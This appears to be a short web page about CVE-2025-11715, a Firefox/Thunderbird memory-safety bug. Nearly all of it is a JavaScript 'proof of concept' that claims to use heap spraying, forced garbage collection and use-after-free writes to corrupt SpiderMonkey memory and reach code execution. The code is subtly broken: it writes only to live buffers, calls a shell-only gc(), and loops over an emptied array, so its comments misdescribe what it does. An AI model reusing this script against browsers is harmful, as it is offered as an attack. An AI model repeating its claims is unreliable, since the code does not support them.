CVE-2025-11715 Mozilla Firefox/Thunderbird 内存安全漏洞

# CVE-2025-11715 PoC - Memory Corruption in Firefox ESR 140.3 / Firefox 143 # This is a conceptual PoC demonstrating memory corruption triggers # Note: Actual exploitation requires specific JavaScript engine manipulation // PoC for triggering memory safety bugs in Firefox 143 / ESR 140.3 // Target: JavaScript Engine (SpiderMonkey) memory management (function() { // Step 1: Trigger type confusion via ArrayBuffer manipulation let buf = new ArrayBuffer(0x100); let view = new DataView(buf); // Step 2: Create objects for heap spray let spray = []; for (let i = 0; i < 0x1000; i++) { spray.push(new Uint32Array(0x10)); } // Step 3: Trigger garbage collection to rearrange memory // and exploit use-after-free or type confusion for (let i = 0; i < 100; i++) { let obj = {a: new ArrayBuffer(0x100), b: spray[i % spray.length]}; obj = null; // Trigger GC } // Step 4: Attempt to access freed memory // This may cause memory corruption leading to RCE try { view.setUint32(0, 0x41414141, true); view.setUint32(4, 0x42424242, true); // Trigger vulnerability via crafted JavaScript eval("\n let a = [];\n for (let i = 0; i < 100000; i++) {\n a.push({x: i, y: new Array(100)});\n }\n a.length = 0;\n // Force GC\n gc();\n // Access potentially freed memory\n for (let i = 0; i < a.length; i++) {\n a[i].x = 0xdeadbeef;\n }\n "); } catch(e) { // Memory corruption may cause crash or code execution } })();